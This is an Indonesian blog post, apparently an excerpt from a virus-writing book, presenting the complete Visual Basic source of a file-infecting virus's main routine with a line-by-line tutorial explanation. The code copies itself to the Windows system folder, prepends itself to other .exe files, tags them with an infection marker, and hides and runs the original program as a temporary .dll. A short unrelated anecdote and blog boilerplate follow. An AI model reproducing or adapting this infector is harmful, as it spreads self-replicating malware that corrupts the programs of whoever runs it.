MENCERMATI ISI PROGRAM BAGIAN 3
Posted by : Unknown Friday, 19 February 2016

Modul Utama
Subrutin utama virus yang kita buat, kita beri nama MAIN. Jabarannya sebagai
berikut:
Sub main()
On Error Resume Next
Dim i As Long
Dim Free
Free = FreeFile
Dim target
Dim fso, sysfolder, winfolder
Set fso = CreateObject("scripting.filesystemobject")
Set sysfolder = fso.GetSpecialFolder(1)
Set winfolder = fso.GetSpecialFolder(0)
FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder &
"\" & "wbdbass.nl"
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access
Read As #Free
myarray = Space$(Size)
Get #1, 1, myarray
Close #Free
ChDrive App.Path
ChDir App.Path
victim = Dir(App.Path & "\" & "*.EXE")
While victim <> ""
If LCase(App.Path & "\" & App.EXEName & ".exe") _
<> LCase(App.Path & "\" & victim) Then
Open victim For Binary Access Read As #Free
varray = Space$(LOF(Free))
Get #1, 1, varray
Close #Free
Open victim For Binary Access Read As #Free
Debug.Print varray
Seek #1, LOF(Free)
chck = Space$(1)
Debug.Print varray
Get #1, , chck
Close #Free
If LCase(chck) <> "." Then
Open victim For Binary Access Write As #Free
Put #Free, 1, myarray
Put #Free, Size, varray
Put #Free, LOF(Free) + 1, "."
Close #Free
End If
Else
End If
victim = Dir()
Wend
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access
Read As #Free
Length = (LOF(Free) - Size)
If Length > 0 Then
myarray = Space(Length)
Get #Free, Size, myarray
Close #Free
Open App.Path & "\" & App.EXEName & ".dll" For Binary Access
Write As #Free
Put #Free, , myarray
Close #Free
SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden +
vbSystem
idProg = Shell(App.Path & "\" & App.EXEName & ".dll",
vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal
Kill App.Path & "\" & App.EXEName & ".dll"
Else
Close #Free
End If
End
End Sub

 
Keterangan detailnya adalah:
* Sub main()
Membuat subrutin dengan nama main.
* On Error Resume Next
Perintah untuk mengatasi jika terjadi kesalahan program.
* Dim i As Long
Membuat variabel bernama i dengan jenis data Long.
* Dim Free
Membuat variabel bernama free.
* Free = FreeFile
Mengisi variabel Free dengan jenis data FreeFile.
* Dim target
Membuat variabel bernama target dengan jenis data varian.
* Dim fso, sysfolder, winfolder
Membuat variabel bernama fso, sysfolder, dan winfolder dengan jenis data
varian.
* Set fso = CreateObject("scripting.filesystemobject")
Mengeset variabel fso dengan perintah script object create object.
* Set sysfolder = fso.GetSpecialFolder(1)
Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder
khusus system windows.
* Set winfolder = fso.GetSpecialFolder(0)
Mengeset variabel sysfolder dengan perintah script agar mengambil nama folder
khusus root windows.
* FileCopy App.Path & "\" & App.EXEName & ".exe", sysfolder &
"\" & "wbdbass.nl"

Mengopi file virus aktif ke system folder Windows dengan nama wbdbass.nl.
* Open App.Path & "\" & App.EXEName & ".exe" For Binary Access
Read As #Free

Membaca file virus aktif.
* myarray = Space$(Size)
Mengisi variabel myarray dengan spasi, sejumlah besar yang disebutkan dalam
variabel Size (alias ukuran virus).
* Get #1, 1, myarray
Membaca data dan meletakkan di array.
* Close #Free
Menutup file virus.
* ChDrive App.Path
Mengubah drive yang aktif dengan path aplikasi.
* ChDir App.Path
Mengubah directory yang aktif dengan path aplikasi.
* victim = Dir(App.Path & "\" & "*.EXE")
Mengisi variabel victim dengan data-data file exe yang ada pada direktori aktif.
* While victim <> ""
Lakukan selama variabel victim tidak sama dengan kosong.
* If LCase(App.Path & "\" & App.EXEName & ".exe") _
<> LCase(App.Path & "\" & victim) Then

Jika file korban tidak sama dengan nama file virus aktif maka…
* Open victim For Binary Access Read As #Free
Buka file exe korban untuk dibaca.
* varray = Space$(LOF(Free))
Isi variabel varray dengan file data spasi sepanjang file tersebut. Atau di sini kita
menyiapkan buffer file.
* Get #1, 1, varray
Baca dan kopi data ke array.
*Close #Free
Tutup file korban.
* Open victim For Binary Access Read As #Free
Buka file korban.
* Seek #1, LOF(Free)
Mengeset buffer untuk file data.
* chck = Space$(1)
Isi variabel chck dengan data spasi sepanjang 1.
* Get #1, , chck
Kopi data variabel chck tersebut ke array.
* Close #Free
Tutup file.
* If LCase(chck) <> "." Then
Jika variabel chck sama dengan . (titik atau marker virus) berarti file telah
terinfeksi. Jika tidak maka lanjutkan proses.
* Open victim For Binary Access Write As #Free
Buka file korban untuk ditulisi.
* Put #Free, 1, myarray
Letakkan variabel myarray (file virus) di depan file.
* Put #Free, Size, varray
Lalu diikuti dengan variabel varray (alias data asli file korban).
* Put #Free, LOF(Free) + 1, "."
Lalu diikuti dengan “marker virus” (marker virus yang kita pakai adalah titik!)
untuk menandai bahwa file tersebut telah diinfeksi.
* Close #Free
Tutup file.
* End If
Syarat selesai. Pasangan dari If LCase(chck) <> "." Then
* Else
Selain itu… jangan lakukan apa-apa.
* End If
Syarat selesai. Pasangan dari perintah If LCase(App.Path & "\" & App.EXEName & ".exe")
<> LCase(App.Path & "\" & victim) Then
* victim = Dir()
Isi variabel victim dengan perintah DIR. Atau untuk mencari file berikutnya
yang akan diinfeksi.
* Wend
Lakukan putaran ulang sampai kondisi terpenuhi.
* Open App.Path & "\" & App.EXEName & ".exe" For Binary Access
Read As #Free
Buka file aplikasi untuk dibaca.
* Length = (LOF(Free) - Size)
Isi variabel length dengan data file aktif saat ini dikurangi dengan ukuran file
virus (atau variabel Size).
* If Length > 0 Then
Jika variabel Length lebih besar daripada 0 maka file telah diinfeksi.
* myarray = Space(Length)
Buat buffer dalam variabel myarray untuk menampung data ukuran file asli.
* Get #Free, Size, myarray
Simpan dalam file array.
* Close #Free
Tutup file.
* Open App.Path & "\" & App.EXEName & ".dll" For Binary Access
Write As #Free
Buka dan buat file dengan nama sama, namun ekstension-nya adalah DLL.
* Put #Free, , myarray
Letakkan data asli file aplikasi sebagai file temporer.
* Close #Free
Tutup dan bentuk file DLL.
* SetAttr App.Path & "\" & App.EXEName & ".dll", vbHidden +
vbSystem
Buat atribut file DLL tersebut dengan hidden dan system. Sehingga tidak terlihat
secara standar.
* idProg = Shell(App.Path & "\" & App.EXEName & ".dll",
vbNormalFocus)
Isi variabel idProg dengan data untuk menjalankan kode-kode aplikasi asli yang
telah dibentuk menjadi file *.DLL.
* hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
Isi hProg dengan data nomor kode aplikasi yang sedang berjalan (running
application code number).
--------------------------------------------------------------------------------------------------
Sekilas info.. ☺. Sintak standar dari perintah OpenProcess
adalah:
OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD
dwProcessId)
Parameter dwDesiredAccess berisi akses ke objek proses.
Parameter bInheritHandle. Jika benar maka handle-nya bersifat inheritable. Jika
FALSE, handle tidak dapat inherited.
Parameter dwProcessId merupakan Identifier dari proses yang akan dibuka.
Jika sukses maka return value-nya adalah open handle dari process tertentu. Jika
gagal, nilainya adalah NULL. Loh… tapi ini ngomong-ngomong sekilas info
25
apa sih? Kok jadi bingung saya? Ini adalah sekilas info, yang menunjukkan
bahwa perintah OpenProcess adalah salah satu perintah API (Application
Programming Interface) bawaan Windows. Perintah-perintah API ini umumnya
dipakai dalam pemrograman tingkat lanjut.
--------------------------------------------------------------------------------------------------
* GetExitCodeProcess hProg, iExit
Ambil data kode penghentian proses.
--------------------------------------------------------------------------------------------------
Sekilas info lagi... ☺. Sintak standar dari perintah
GetExitCodeProcess adalah:
GetExitCodeProcess( HANDLE hProcess, LPDWORD lpExitCode)
Parameter hProcess mewakili Handle process. Handle ini
haruslah mempunyai hak akses PROCESS_QUERY_INFORMATION.
lpExitCode adalah pointer ke variabel untuk memperoleh status penghentian
proses (process termination status).
Jika sukses, fungsi akan mengembalikan nilai tidak nol. Jika gagal maka nilainya
adalah nol.
--------------------------------------------------------------------------------------------------
* Do While iExit = STILL_ACTIVE
Lakukan putaran selama variabel iExit masih berisi data STILL_ACTIVE. Atau
dengan kata lain, tunggu sampai program aplikasi aktif dimatikan. Jadi, program
virus akan “tidur sementara” dan menjalankan program asli. Saat program asli
selesai dijalankan, kendali akan diambil alih lagi oleh virus.
* DoEvents
Lakukan event.
* GetExitCodeProcess hProg, iExit
Ambil data exit code terkini.
* Loop
Lakukan putaran sampai syarat event terpenuhi.
* On Error Resume Next
Jika terjadi masalah, lanjutkan pada proses selanjutnya.
* SetAttr App.Path & "\" & App.EXEName & ".dll", vbNormal
Ubah data aplikasi DLL dengan atribut Normal.
* Kill App.Path & "\" & App.EXEName & ".dll"
Hapus file DLL temporer tersebut.
* Else
Selain itu…
* Close #Free
Tutup file.
* End If
Syarat selesai.
* End
Program virus dihentikan.
* End Sub
Subrutin modul utama selesai.
Maka selesai pulalah (sementara) kegilaan kita! hehehe … ☺ Jika masih
bingung, coba Anda baca berulang kali bagian ini. Saya yakin Anda akan
semakin paham dan…. Tambah gila tentu saja.
--------------------------------------------------------------------------------------------------
Flash Back: Anti Sosial 1
Jarang sekali Kyai Kebal Wirang mengajak muridnya yang
masih balita pergi berinteraksi sosial. Karena takut menjadi
anti-sosial sejati, maka hari itu diajaknya Megatruh kecil
pergi jalan-jalan. Megatruh begitu gembira dan tak bosanbosannya
ia bertanya tentang apa saja yang dilihatnya. Sang kyai dengan sabar
meladeninya dengan menjawab semua pertanyaan sang murid.
27
Setelah lelah berkeliling, pulanglah mereka berdua. Kyai Kebal Wirang dengan
gesit menghentikan angkota yang kebetulan melintas. Naiklah mereka berdua ke
dalam angkota. Dalam perjalanan, Megatruh banyak diam. Hanya saja matanya
yang bundar tanpa dosa, terlihat berkejab-kejab seperti kebingungan. Tangannya
berpegangan kencang pada baju sang kyai.
Kyai Kebal Wirang memerhatikan hal tersebut, lalu bertanya: “ada apa, kamu
kok … kebingungan seperti itu?”
Megatruh memandang wajah sang kyai dengan ragu. “Kyai tidak marah kalau
saya bertanya?”
“Tentu saja tidak,“ jawab sang kyai singkat.
Dengan lantang Megatruh kecil bersuara keras sekali tanpa dosa sambil menunjuk
kepada seorang lelaki yang duduk di depan mereka: “Ini lho… kyai…
saya heran. Bapak yang di depan kita ini, kakinya apa ketinggalan satu di rumah
ya?”
Kyai gendeng tersebut melonjak kaget dengan pertanyaan polos sang murid
balita. Dipandangnya bapak yang ditunjuk oleh Megatruh kecil dengan saksama,
ternyata di depannya duduklah seorang lelaki cacat yang buntung sebelah
kakinya.

Leave a Reply

Subscribe to Posts | Subscribe to Comments

Welcome to My Blog

Blog Archive

Popular Post

Followers

- Copyright © INFORMASI KITA SEMUA -Robotic Notes- Powered by Blogger - Designed by Johanes Djogan -